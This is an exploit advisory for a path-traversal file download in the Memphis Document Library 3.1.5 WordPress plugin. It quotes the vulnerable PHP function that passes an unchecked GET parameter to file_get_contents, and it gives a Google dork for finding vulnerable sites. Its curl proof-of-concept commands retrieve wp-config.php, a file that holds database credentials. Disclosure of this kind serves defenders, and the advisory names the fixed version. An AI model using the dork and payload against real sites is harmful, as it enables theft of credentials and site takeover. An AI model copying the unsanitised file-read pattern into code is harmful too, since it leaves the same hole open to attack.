WordPress Memphis Document Library 3.1.5 Arbitrary File Download

`# Exploit Title: Arbitrary file download in Memphis Document Library 3.1.5  
# Google Dork: inurl:"mdocs-posts" -site:wordpress.org  
# Date: 22/03/2016  
# Exploit Author: Felipe Molina (@felmoltor)  
# Vendor Homepage: https://wordpress.org  
# Software Link: https://downloads.wordpress.org/plugin/memphis-documents-library.3.1.5.zip  
# Version: 3.1.5 (Vulnerable from 2.3 to 3.1.5, fixed in 3.1.6)  
# Tested on: Ubuntu 12.04, Wordpress 4.4.2.  
# CVE : N/A  
# Vulnerable file: memphis-documents-library/mdocs-downloads.php  
# Vulnerable function: mdocs_img_preview()  
# Vulnerable GET parameter: Injectable 'mdocs-img-preview'  
# Vulnerable line: 90 to 93  
# Vulnerable code:  
  
87 function mdocs_img_preview() {  
88 require_once(ABSPATH . 'wp-includes/pluggable.php');  
89 $upload_dir = wp_upload_dir();  
90 $image = $upload_dir['basedir'].MDOCS_DIR.$_GET['mdocs-img-preview'];  
91 $content = file_get_contents($image);  
92 header('Content-Type: image/jpeg');  
93 echo $content; exit();  
94 }  
  
# POC:  
  
curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php  
-o example-wp-config.php  
  
or if the plugin is not installed in the root folder of wordpress, for  
example in the folder "mdocs-posts":  
  
curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php  
-o example-wp-config.php  
  
  
`